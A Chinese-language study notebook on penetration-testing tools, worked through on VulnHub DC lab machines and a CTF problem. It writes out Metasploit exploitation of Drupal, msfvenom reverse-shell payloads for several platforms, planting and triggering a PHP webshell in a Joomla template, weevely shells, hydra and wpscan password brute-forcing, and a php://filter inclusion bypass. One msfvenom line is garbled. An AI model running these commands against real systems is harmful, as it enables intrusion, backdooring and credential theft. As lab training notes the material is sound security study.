记性不好记录一下
常用工具的使用
1)msf
(1)msf基本使用
一个漏洞利用框架,对计算机软件漏洞进行攻击
这里以vulnhub dc1为例
终端输入msfconsole
,进入msf界面,或者菜单也可以打开
1 | 输入search drupal,找一下有没有drupal可以利用的脚本 |
这里可以选择不同的脚本,下面以编号1的脚本为例,其他的应该也可以
1 | 输入use 1,进入编号1脚本的运行环境 |
1 | 输入show options,查看脚本运行的所需要配置的项目 |
Required
是要求填的,yes是必填项,no是非必填项
这里的RHOSTS
没有填,这里是要求填入target hosts
也就是目标地址,也就是我们靶机的地址
1 | 输入set RHOSTS 192.168.133.136 |
1 | 再输入run,运行脚本 |
1 | 输入shell,进入shell |
1 | 输入whoami,查看当前的权限 |
发现是个低权限的账号
1 | 输入ls,可以查看到当前的目录文件 |
但是一堆东西挤在一起,还是有些不太方便
输入下方指令,利用python进入交互式shell【固定姿势,要记住】
1 | python -c 'import pty; pty.spawn("/bin/bash")' |
(2)msf后门生成模块
普通生成
1 | msfvenom -p 有效载荷 -f 输出格式 -o 输出文件 |
编码生成
1 | msfvenom -a 系统架构 --platform 系统平台 -p 有效载荷 lhost=攻击机IP lport=攻击机端口 -e 编码方式 -i编码次数 -f 输出格式 -o 输出文件 |
*以DC-3举个例子
1 | 输入msfvenom -p php/meterpreter/reverse_tcp LHOST=kali的ip LPORT=4444 -f raw > shell.php |
1 | 输入ls |
发现目录下生成了 shell.php
然后在网站新建一个php文件
然后把木马内容导入进去
然后保存一下
然后试试能不能访问木马
然后我们就需要找到木马文件路径,进行访问看看,能不能访问成功
因为我们文件是在/templates/protostar/less/
下上传的,所以访问
1 | http://192.168.133.139/templates/protostar/less/1.php |
看到/*,看来是可以成功访问
msf利用木马
然后用msf进行利用
1 | 先输入msfconsole,进入msf |
1 | 然后输入 |
1 | 输入show options |
看到LHOST监听的ip没有填写
1 | 输入set LHOST 192.168.133.140 //kali的ip |
1 | 输入run,运行,会卡住 |
这里就是在等待我们的木马运行,我们只需要刷新一下我们之前访问木马的网页
1 | http://192.168.133.139/templates/protostar/1.php |
后面操作不赘述
msfvenom —list archs
#查看支持的系统架构
1 | aarch64, armbe, armle, cbea, cbea64, cmd, dalvik, firefox, java, mips, mips64, mips64le, mipsbe, mipsle, nodejs, php, ppc, ppc64, ppc64le, ppce500v2, python, r, ruby, sparc, sparc64, tty, x64, x86, x86_64, zarch |
msfvenom —list platforms
#查看支持系统平台
1 | aix, android, apple_ios, bsd, bsdi, cisco, firefox, freebsd, hardware, hpux, irix, java, javascript, juniper, linux, mainframe, multi, netbsd, netware, nodejs, openbsd, osx, php, python, r, ruby, solaris, unifi, unix, unknown, windows |
1 | msfvenom -l payload #列出所有可用的payload |
常见生成格式
1、 Windows
1 | msfvenom --platform windows -a x86 -p windows/meterpreter/reverse_tcp -i 3 -e x86/shikata_ga_nai -f exe -o payload.exe |
2、Linux
1 | msfvenom --platform linux -a x86 -p linux/x86/meterpreter/reverse_tcp -f elf -o payload.elfxxxxxxxxxx msfvenom --platform linux -a x86 -p linux/x86/meterpreter/reverse_tcp -f elf -o payload.elf1 |
3、Mac
1 | msfvenom --platform osx -a x86 -p osx/x86/shell_reverse_tcp -f macho -o payload.macho |
4、Android
1 | msfvenom -p android/meterpreter/reverse_tcp -o payload.apk |
5、Aspx
1 | msfvenom --platform windows-p windows/meterpreter/reverse_tcp -f aspx -o payload.aspx |
6、JSP
1 | msfvenom --platform java -p java/jsp_shell_reverse_tcp -f raw -o payload.jsp |
7、PHP
1 | msfvenom -p php/meterpreter_reverse_tcp -f raw -o payload.php |
8、BASH
1 | msfvenom -p cmd/unix/reverse_bash -f raw -o shell.sh |
9、Python
1 | msfvenom -p python/meterpreter/reverse_tcp -f raw -o shell.py |
Msfvenom常用命令参数
1 | -l, --list <type> |
2)hydra
hydra是一个自动化的爆破工具,暴力破解弱密码,是一个支持众多协议的爆破工具
1.爆破用户密码
这里以vulnhub dc1为例
用了hydra
[海德拉]工具,对flag4
用户进行爆破
1 | hydra -l flag4 -p /usr/share/wordlists/rockyou.txt.gz 192.168.133.136 -vV -f |
这里就看到flag4
用户的密码被爆破出来,是orange
然后用ssh
连接
1 | 输入ssh flag4@192.168.133.136 |
3)cewl
Cewl是一个通过指定url及深度,使用爬虫技术,生成字典的一个工具。Cewl是通过ruby编写,通过爬取网站并提取独立的单词保存为字典,可以和John the Ripper等工具配合使用。
主要还是根据网站自身的关键词,然后生成的字典,比如cewl,flag等等
这里以vulnhub dc2为例
1 | -w等同于> //写入 |
我们用cewl
试试生成字典
1 | 输入cewl http://dc-2/ >pass.txt |
目录下就会生成pass.txt
1 | 输入cat pass.txt,查看内容 |
发现是生成对应网站的密码字典
4)wpscan
WPScan是Kali Linux默认自带的一款漏洞扫描工具,它采用Ruby编写 能够扫描WordPress网站中的多种安全漏洞,其中包括主题漏洞、插件漏洞和WordPress本身的漏洞
这里以vulnhub dc2为例
1 | wpscan -url http://dc-2 -e u |
于是我们就可以针对性对wordpress进行渗透看看,可不可以利用一下
1 | 输入wpscan --url http://dc-2 -e u |
然后往下看用户名
发现有三个,然后可以复制下来,弄一个用户名的文本,和之前的pass.txt
这个密码本一样
1 | 输入vi un.txt,把admin jerry tom复制进去 |
然后就可以结合我们的密码文本和用户名文本,利用wpscan这个工具,进行爆破操作了
1 | 输入wpscan --url http://dc-2 -P pass.txt -U un.txt |
稍微等一会
admin用户密码没有找到,应该是最高权限的账号
但是jerry和tom用户的密码知道了
5)John
John是一个破解系统密码的工具
使用很简单
1 | john passwd.txt //这里是直接利用john自带的密码本,后面接的是需要爆破的密码文本文件 |
1 | john --show passwd.txt //这是查看该密码文本中已经被爆破成功过的密码 |
就可以看到明文为snoopy
6)weevely
Weevely是一款使用python编写的webshell工具,集webshell生成和连接于一身,采用c/s模式 构建,可以算作是linux下的一款php菜刀替代工具
生成Shell
1 | weevely generate <文件名> |
把生成的内容,复制到我们创建的789.php
文件里,和前面两个方法步骤一样
利用触发shell
1 | weevely http://192.168.133.139/templates/protostar/789.php 123456 |
成功进入shell
7)whatweb
1 | whatweb http://192.168.220.156/ >> whatweb.txt |
这个工具主要是查看网站的框架,和wapplzer
类似
8)knockd
在1920年代,当禁令如火如荼地进行时,如果您想进入说话状态,就必须知道秘密的敲门声,并正确地敲打它才能进入内部。
端口敲门是现代的等同物。 如果您希望人们可以访问您计算机上的服务,但又不想将防火墙打开到Internet,则可以使用端口断开功能。
它允许您关闭防火墙上允许传入连接的端口,并在进行预先安排的连接尝试方式时自动打开它们。 连接尝试的顺序充当秘密敲门。 另一个秘密的敲门声关闭了港口。
什么意思呢,也就是说,我先关闭了一个端口
但是呢,我为了我想要的人访问它,我写了一个敲门的顺序(也就是访问端口的顺序)
1 | 顺序在/etc/knockd.conf |
比如,
我关闭了
1 | 22/ssh端口 |
我写了一个顺序
1 | 7893,6452,2412 |
这是三个端口
我为什么为你打开22端口
,原因是因为你敲对了顺序
这里就涉及敲门的方法
1> knock命令
1 | knock 192.168.1.8 7469 8475 9842 //192.168.1.8为目标ip |
2>nc命令
1 | $ nc -v dc9 7469 |
最后用nmap
扫一下就看见22
端口打开了
9)openssl
SSL 简介
按照我的理解来解释下,
为了让网络通信更安全,需要认证和加密,认证是说明你是要找的人,加密是为了让截获中间报文第三者无法得到消息内容。
为此有人设计了SSL,即套接字上的安全层,简单来说就是在TCP之上做一个安全通信层,HTTP on SSL 即是HTTPs,
现在几乎所有的银行网站访问都是基于HTTPS协议的。
认证是通过证书+非对称加密算法来解决的
openssl可以实现:秘钥证书管理、对称加密和非对称加密。
举一个例子
1 | openssl passwd -1 -salt salt password |
10)gobuster
爆破目录
1 | gobuster dir -w .txt -u url |
爆破子域名
1 | gobuster vhost -w subdomains-top1million-5000.txt -u url |
11)seed工具php_mt_seed
这里以一道题为例子讲解这个工具的使用
1 |
|
搜索这两个函数
1 | mt_scrand() |
mt_scrand(seed)
这个函数的意思,是通过分发seed
种子,然后种子有了后,靠mt_rand()
生成随机数。
我们来写段代码。
1 |
|
我们访问,输出162946439
。
现在代码改为
1 |
|
我们再次访问:
162946439
247161732
1463094264
1878061366
394962642
发现162946439
又出现了
所以可以推断出随机数其实是可预测的,
它以一种线性的方式生成
知道种子和一组伪随机数不是就可以推y(伪随机数了吗),当然实际上更复杂肯定。
我知道种子后,可以确定你输出伪随机数的序列。
知道你的随机数序列,可以确定你的种子。
在我们的例题中,我们并不知道我们的种子是多少
但是它给出了我们种子的第一个随机数1219893521
这个时候想要拿到种子的值,就需要大量反向的演算推导了
这个过程很庞大,所以这里就用到了工具【脚本】php_mt_seed
1 | time ./php_mt_seed 第一个随机数 |
于是我们就得到了我们的seed
1145146
再分析源码
1 | echo "Hint: ".mt_rand()."<br>"; |
这里在 echo处已经随机了一次,所以在底下比较的时候就算第二个随机数进行强类型比较
于是
1 |
|
得到guess
参数的值1202031004
对于最后对file
文件包含语句的正则匹配绕过
1 | if(!preg_match("/base|\.\./i",$_GET['file']) && preg_match("/NewStar/i",$_GET['file']) && isset($_GET['file'])) |
大概就是不能出现base
,然后参数中间要包含/NewStar/
这一段
1 | ?file=php://filter |